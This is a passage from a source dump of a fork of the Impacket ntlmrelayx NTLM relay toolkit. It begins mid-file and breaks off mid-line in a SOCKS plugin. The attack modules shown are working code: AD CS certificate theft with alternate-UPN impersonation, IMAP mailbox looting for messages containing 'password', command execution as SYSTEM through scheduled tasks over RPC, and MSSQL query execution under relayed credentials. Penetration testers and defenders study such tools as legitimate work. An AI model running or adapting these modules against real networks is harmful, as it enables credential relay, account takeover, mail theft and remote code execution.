%(message)s', None) 31 | 32 | def format(self, record): 33 | if record.levelno == logging.INFO: 34 | record.bullet = '[*]' 35 | elif record.levelno == logging.DEBUG: 36 | record.bullet = '[+]' 37 | elif record.levelno == logging.WARNING: 38 | record.bullet = '[!]' 39 | else: 40 | record.bullet = '[-]' 41 | 42 | return logging.Formatter.format(self, record) 43 | 44 | class ImpacketFormatterTimeStamp(ImpacketFormatter): 45 | ''' 46 | Prefixing logged messages through the custom attribute 'bullet'. 47 | ''' 48 | def __init__(self): 49 | logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(message)s', None) 50 | 51 | def formatTime(self, record, datefmt=None): 52 | return ImpacketFormatter.formatTime(self, record, datefmt="%Y-%m-%d %H:%M:%S") 53 | 54 | def init(ts=False): 55 | # We add a StreamHandler and formatter to the root logger 56 | handler = logging.StreamHandler(sys.stdout) 57 | if not ts: 58 | handler.setFormatter(ImpacketFormatter()) 59 | else: 60 | handler.setFormatter(ImpacketFormatterTimeStamp()) 61 | logging.getLogger().addHandler(handler) 62 | logging.getLogger().setLevel(logging.INFO) 63 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Protocol Attack Base Class definition 11 | # Defines a base class for all attacks + loads all available modules 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import os, sys 18 | import pkg_resources 19 | from impacket import LOG 20 | from threading import Thread 21 | 22 | PROTOCOL_ATTACKS = {} 23 | 24 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 25 | # Besides using this base class you need to define one global variable when 26 | # writing a plugin for protocol clients: 27 | # PROTOCOL_ATTACK_CLASS = "" 28 | # or (to support multiple classes in one file) 29 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 30 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 31 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 32 | class ProtocolAttack(Thread): 33 | PLUGIN_NAMES = ['PROTOCOL'] 34 | def __init__(self, config, client, username): 35 | Thread.__init__(self) 36 | # Set threads as daemon 37 | self.daemon = True 38 | self.config = config 39 | self.client = client 40 | # By default we only use the username and remove the domain 41 | self.username = username.split('/')[1] 42 | 43 | def run(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 47 | if file.find('__') >= 0 or file.endswith('.py') is False: 48 | continue 49 | # This seems to be None in some case (py3 only) 50 | # __spec__ is py3 only though, but I haven't seen this being None on py2 51 | # so it should cover all cases. 52 | try: 53 | package = __spec__.name # Python 3 54 | except NameError: 55 | package = __package__ # Python 2 56 | __import__(package + '.' + os.path.splitext(file)[0]) 57 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 58 | try: 59 | pluginClasses = set() 60 | try: 61 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 62 | # Multiple classes 63 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 64 | pluginClasses.add(getattr(module, pluginClass)) 65 | else: 66 | # Single class 67 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 68 | except Exception as e: 69 | LOG.debug(e) 70 | pass 71 | 72 | for pluginClass in pluginClasses: 73 | for pluginName in pluginClass.PLUGIN_NAMES: 74 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 75 | PROTOCOL_ATTACKS[pluginName] = pluginClass 76 | except Exception as e: 77 | LOG.debug(str(e)) 78 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/dcsyncattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 18 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 19 | 20 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" 21 | 22 | class DCSYNCAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["DCSYNC"] 30 | def run(self): 31 | return 32 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Attack Class 11 | # HTTP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # Ex Android Dev (@ExAndroidDev) 17 | 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 22 | 23 | 24 | class HTTPAttack(ProtocolAttack, ADCSAttack): 25 | """ 26 | This is the default HTTP attack. This attack only dumps the root page, though 27 | you can add any complex attack below. self.client is an instance of urrlib.session 28 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 29 | proxy through ntlmrelayx 30 | """ 31 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 32 | 33 | def run(self): 34 | 35 | if self.config.isADCSAttack: 36 | ADCSAttack._run(self) 37 | else: 38 | # Default action: Dump requested page to file, named username-targetname.html 39 | # You can also request any page on the server via self.client.session, 40 | # for example with: 41 | self.client.request("GET", "/") 42 | r1 = self.client.getresponse() 43 | print(r1.status, r1.reason) 44 | data1 = r1.read() 45 | print(data1) 46 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Startr4ck/impacket-rbcd/d0de28231c47c172ef9e5f55b03f9bb511359d57/impacket/examples/ntlmrelayx/attacks/httpattacks/__init__.py -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # AD CS relay attack 11 | # 12 | # Authors: 13 | # Ex Android Dev (@ExAndroidDev) 14 | # Tw1sm (@Tw1sm) 15 | 16 | import re 17 | import base64 18 | from OpenSSL import crypto 19 | 20 | from impacket import LOG 21 | 22 | # cache already attacked clients 23 | ELEVATED = [] 24 | 25 | 26 | class ADCSAttack: 27 | 28 | def _run(self): 29 | key = crypto.PKey() 30 | key.generate_key(crypto.TYPE_RSA, 4096) 31 | 32 | if self.username in ELEVATED: 33 | LOG.info('Skipping user %s since attack was already performed' % self.username) 34 | return 35 | 36 | current_template = self.config.template 37 | if current_template is None: 38 | current_template = "Machine" if self.username.endswith("$") else "User" 39 | 40 | csr = self.generate_csr(key, self.username, self.config.altName) 41 | csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") 42 | LOG.info("CSR generated!") 43 | 44 | certAttrib = self.generate_certattributes(current_template, self.config.altName) 45 | 46 | data = "Mode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, certAttrib) 47 | 48 | headers = { 49 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", 50 | "Content-Type": "application/x-www-form-urlencoded", 51 | "Content-Length": len(data) 52 | } 53 | 54 | LOG.info("Getting certificate...") 55 | 56 | self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) 57 | ELEVATED.append(self.username) 58 | response = self.client.getresponse() 59 | 60 | if response.status != 200: 61 | LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") 62 | return 63 | 64 | content = response.read() 65 | found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) 66 | if len(found) == 0: 67 | LOG.error("Error obtaining certificate!") 68 | return 69 | 70 | certificate_id = found[0] 71 | 72 | self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) 73 | response = self.client.getresponse() 74 | 75 | LOG.info("GOT CERTIFICATE! ID %s" % certificate_id) 76 | certificate = response.read().decode() 77 | 78 | certificate_store = self.generate_pfx(key, certificate) 79 | LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode())) 80 | 81 | if self.config.altName: 82 | LOG.info("This certificate can also be used for user : {}".format(self.config.altName)) 83 | 84 | def generate_csr(self, key, CN, altName): 85 | LOG.info("Generating CSR...") 86 | req = crypto.X509Req() 87 | req.get_subject().CN = CN 88 | 89 | if altName: 90 | req.add_extensions([crypto.X509Extension(b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode() )]) 91 | 92 | 93 | req.set_pubkey(key) 94 | req.sign(key, "sha256") 95 | 96 | return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req) 97 | 98 | def generate_pfx(self, key, certificate): 99 | certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate) 100 | p12 = crypto.PKCS12() 101 | p12.set_certificate(certificate) 102 | p12.set_privatekey(key) 103 | return p12.export() 104 | 105 | def generate_certattributes(self, template, altName): 106 | 107 | if altName: 108 | return "CertificateTemplate:{}%0d%0aSAN:upn={}".format(template, altName) 109 | return "CertificateTemplate:{}".format(template) 110 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Attack Class 11 | # IMAP protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | import re 18 | import os 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 21 | 22 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 23 | 24 | class IMAPAttack(ProtocolAttack): 25 | """ 26 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 27 | for messages with "password" in the header or body. Alternate keywords can be specified 28 | on the command line. For more advanced attacks, consider using the SOCKS feature. 29 | """ 30 | PLUGIN_NAMES = ["IMAP", "IMAPS"] 31 | def run(self): 32 | #Default action: Search the INBOX 33 | targetBox = self.config.mailbox 34 | result, data = self.client.select(targetBox,True) #True indicates readonly 35 | if result != 'OK': 36 | LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 37 | LOG.info('Opening mailbox INBOX') 38 | targetBox = 'INBOX' 39 | result, data = self.client.select(targetBox,True) #True indicates readonly 40 | inboxCount = int(data[0]) 41 | LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 42 | #If we should not dump all, search for the keyword 43 | if not self.config.dump_all: 44 | result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 45 | #Check if search worked 46 | if result != 'OK': 47 | LOG.error('Search failed: %s' % rawdata) 48 | return 49 | dumpMessages = [] 50 | #message IDs are separated by spaces 51 | for msgs in rawdata: 52 | dumpMessages += msgs.split(' ') 53 | if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 54 | dumpMessages = dumpMessages[:self.config.dump_max] 55 | else: 56 | #Dump all mails, up to the maximum number configured 57 | if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 58 | dumpMessages = list(range(1, inboxCount+1)) 59 | else: 60 | dumpMessages = list(range(1, self.config.dump_max+1)) 61 | 62 | numMsgs = len(dumpMessages) 63 | if numMsgs == 0: 64 | LOG.info('No messages were found containing the search keywords') 65 | else: 66 | LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 67 | for i, msgIndex in enumerate(dumpMessages): 68 | #Fetch the message 69 | result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 70 | if result != 'OK': 71 | LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 72 | continue 73 | 74 | #Replace any special chars in the mailbox name and username 75 | mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 76 | textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 77 | 78 | #Combine username with mailboxname and mail number 79 | fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 80 | 81 | #Write it to the file 82 | with open(os.path.join(self.config.lootdir,fileName),'w') as of: 83 | of.write(rawMessage[0][1]) 84 | LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 85 | 86 | #Close connection cleanly 87 | self.client.logout() 88 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # MSSQL Attack Class 11 | # MSSQL protocol relay attack 12 | # 13 | # Authors: 14 | # Alberto Solino (@agsolino) 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 21 | 22 | class MSSQLAttack(ProtocolAttack): 23 | PLUGIN_NAMES = ["MSSQL"] 24 | def run(self): 25 | if self.config.queries is None: 26 | LOG.error('No SQL queries specified for MSSQL relay!') 27 | else: 28 | for query in self.config.queries: 29 | LOG.info('Executing SQL: %s' % query) 30 | self.client.sql_query(query) 31 | self.client.printReplies() 32 | self.client.printRows() 33 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/rpcattack.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Authors: 10 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 11 | # Based on @agsolino and @_dirkjan code 12 | # 13 | 14 | import time 15 | import string 16 | import random 17 | 18 | from impacket import LOG 19 | from impacket.dcerpc.v5 import tsch 20 | from impacket.dcerpc.v5.dtypes import NULL 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "RPCAttack" 24 | 25 | class TSCHRPCAttack: 26 | def _xml_escape(self, data): 27 | replace_table = { 28 | "&": "&", 29 | '"': """, 30 | "'": "'", 31 | ">": ">", 32 | "<": "<", 33 | } 34 | return ''.join(replace_table.get(c, c) for c in data) 35 | 36 | def _run(self): 37 | # Here PUT YOUR CODE! 38 | tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) 39 | 40 | cmd = "cmd.exe" 41 | args = "/C %s" % self.config.command 42 | 43 | LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding)) 44 | 45 | xml = """ 46 | 47 | 48 | 49 | 2015-07-15T20:35:13.2757294 50 | true 51 | 52 | 1 53 | 54 | 55 | 56 | 57 | 58 | S-1-5-18 59 | HighestAvailable 60 | 61 | 62 | 63 | IgnoreNew 64 | false 65 | false 66 | true 67 | false 68 | 69 | true 70 | false 71 | 72 | true 73 | true 74 | true 75 | false 76 | false 77 | P3D 78 | 7 79 | 80 | 81 | 82 | %s 83 | %s 84 | 85 | 86 | 87 | """ % (self._xml_escape(cmd), self._xml_escape(args)) 88 | 89 | LOG.info('Creating task \\%s' % tmpName) 90 | tsch.hSchRpcRegisterTask(self.dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 91 | 92 | LOG.info('Running task \\%s' % tmpName) 93 | done = False 94 | 95 | tsch.hSchRpcRun(self.dce, '\\%s' % tmpName) 96 | 97 | while not done: 98 | LOG.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 99 | resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\%s' % tmpName) 100 | if resp['pLastRuntime']['wYear'] != 0: 101 | done = True 102 | else: 103 | time.sleep(2) 104 | 105 | LOG.info('Deleting task \\%s' % tmpName) 106 | tsch.hSchRpcDelete(self.dce, '\\%s' % tmpName) 107 | LOG.info('Completed!') 108 | 109 | 110 | class RPCAttack(ProtocolAttack, TSCHRPCAttack): 111 | PLUGIN_NAMES = ["RPC"] 112 | 113 | def __init__(self, config, dce, username): 114 | ProtocolAttack.__init__(self, config, dce, username) 115 | self.dce = dce 116 | self.rpctransport = dce.get_rpc_transport() 117 | self.stringbinding = self.rpctransport.get_stringbinding() 118 | 119 | def run(self): 120 | # Here PUT YOUR CODE! 121 | 122 | # Assume the endpoint is TSCH 123 | # TODO: support relaying RPC to different endpoints 124 | # TODO: support for providing a shell 125 | # TODO: support for getting an output 126 | if self.config.command is not None: 127 | TSCHRPCAttack._run(self) 128 | else: 129 | LOG.error("No command provided to attack") 130 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/imaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IMAP Protocol Client 11 | # IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import imaplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 28 | 29 | class IMAPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "IMAP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 37 | self.authTag = self.session._new_tag() 38 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 39 | if 'AUTH=NTLM' not in self.session.capabilities: 40 | LOG.error('IMAP server does not support NTLM authentication!') 41 | return False 42 | return True 43 | 44 | def sendNegotiate(self,negotiateMessage): 45 | negotiate = base64.b64encode(negotiateMessage) 46 | self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 47 | resp = self.session.readline().strip() 48 | if resp != '+': 49 | LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 50 | return False 51 | else: 52 | self.session.send(negotiate + imaplib.CRLF) 53 | try: 54 | serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 55 | serverChallenge = base64.b64decode(serverChallengeBase64) 56 | challenge = NTLMAuthChallenge() 57 | challenge.fromString(serverChallenge) 58 | return challenge 59 | except (IndexError, KeyError, AttributeError): 60 | LOG.error('No NTLM challenge returned from IMAP server') 61 | raise 62 | 63 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 64 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 65 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 66 | token = respToken2['ResponseToken'] 67 | else: 68 | token = authenticateMessageBlob 69 | auth = base64.b64encode(token) 70 | self.session.send(auth + imaplib.CRLF) 71 | typ, data = self.session._get_tagged_response(self.authTag) 72 | if typ == 'OK': 73 | self.session.state = 'AUTH' 74 | return None, STATUS_SUCCESS 75 | else: 76 | LOG.error('IMAP: %s' % ' '.join(data)) 77 | return None, STATUS_ACCESS_DENIED 78 | 79 | def killConnection(self): 80 | if self.session is not None: 81 | self.session.logout() 82 | self.session = None 83 | 84 | def keepAlive(self): 85 | # Send a NOOP 86 | self.session.noop() 87 | 88 | class IMAPSRelayClient(IMAPRelayClient): 89 | PLUGIN_NAME = "IMAPS" 90 | 91 | def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 92 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 93 | 94 | def initConnection(self): 95 | self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 96 | self.authTag = self.session._new_tag() 97 | LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 98 | if 'AUTH=NTLM' not in self.session.capabilities: 99 | LOG.error('IMAP server does not support NTLM authentication!') 100 | return False 101 | return True 102 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # SMTP Protocol Client 11 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 12 | # 13 | # Author: 14 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import smtplib 18 | import base64 19 | from struct import unpack 20 | 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 23 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 24 | from impacket.ntlm import NTLMAuthChallenge 25 | from impacket.spnego import SPNEGO_NegTokenResp 26 | 27 | PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 28 | 29 | class SMTPRelayClient(ProtocolClient): 30 | PLUGIN_NAME = "SMTP" 31 | 32 | def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 33 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 34 | 35 | def initConnection(self): 36 | self.session = smtplib.SMTP(self.targetHost,self.targetPort) 37 | # Turn on to debug SMTP messages 38 | # self.session.debuglevel = 3 39 | self.session.ehlo() 40 | 41 | if 'AUTH NTLM' not in self.session.ehlo_resp: 42 | LOG.error('SMTP server does not support NTLM authentication!') 43 | return False 44 | return True 45 | 46 | def sendNegotiate(self,negotiateMessage): 47 | negotiate = base64.b64encode(negotiateMessage) 48 | self.session.putcmd('AUTH NTLM') 49 | code, resp = self.session.getreply() 50 | if code != 334: 51 | LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 52 | return False 53 | else: 54 | self.session.putcmd(negotiate) 55 | try: 56 | code, serverChallengeBase64 = self.session.getreply() 57 | serverChallenge = base64.b64decode(serverChallengeBase64) 58 | challenge = NTLMAuthChallenge() 59 | challenge.fromString(serverChallenge) 60 | return challenge 61 | except (IndexError, KeyError, AttributeError): 62 | LOG.error('No NTLM challenge returned from SMTP server') 63 | raise 64 | 65 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 66 | if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 67 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 68 | token = respToken2['ResponseToken'] 69 | else: 70 | token = authenticateMessageBlob 71 | auth = base64.b64encode(token) 72 | self.session.putcmd(auth) 73 | typ, data = self.session.getreply() 74 | if typ == 235: 75 | self.session.state = 'AUTH' 76 | return None, STATUS_SUCCESS 77 | else: 78 | LOG.error('SMTP: %s' % ''.join(data)) 79 | return None, STATUS_ACCESS_DENIED 80 | 81 | def killConnection(self): 82 | if self.session is not None: 83 | self.session.close() 84 | self.session = None 85 | 86 | def keepAlive(self): 87 | # Send a NOOP 88 | self.session.noop() 89 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 10 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 11 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer 12 | from impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | import os 10 | import sys 11 | import pkg_resources 12 | 13 | SOCKS_RELAYS = set() 14 | 15 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 16 | if file.find('__') >= 0 or file.endswith('.py') is False: 17 | continue 18 | # This seems to be None in some case (py3 only) 19 | # __spec__ is py3 only though, but I haven't seen this being None on py2 20 | # so it should cover all cases. 21 | try: 22 | package = __spec__.name # Python 3 23 | except NameError: 24 | package = __package__ # Python 2 25 | __import__(package + '.' + os.path.splitext(file)[0]) 26 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 27 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 28 | SOCKS_RELAYS.add(pluginClass) 29 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # Socks Proxy for the HTTPS Protocol 11 | # 12 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 13 | # 14 | # Author: 15 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "HTTPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 28 | PLUGIN_NAME = 'HTTPS Socks Plugin' 29 | PLUGIN_SCHEME = 'HTTPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 443 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping client connection in 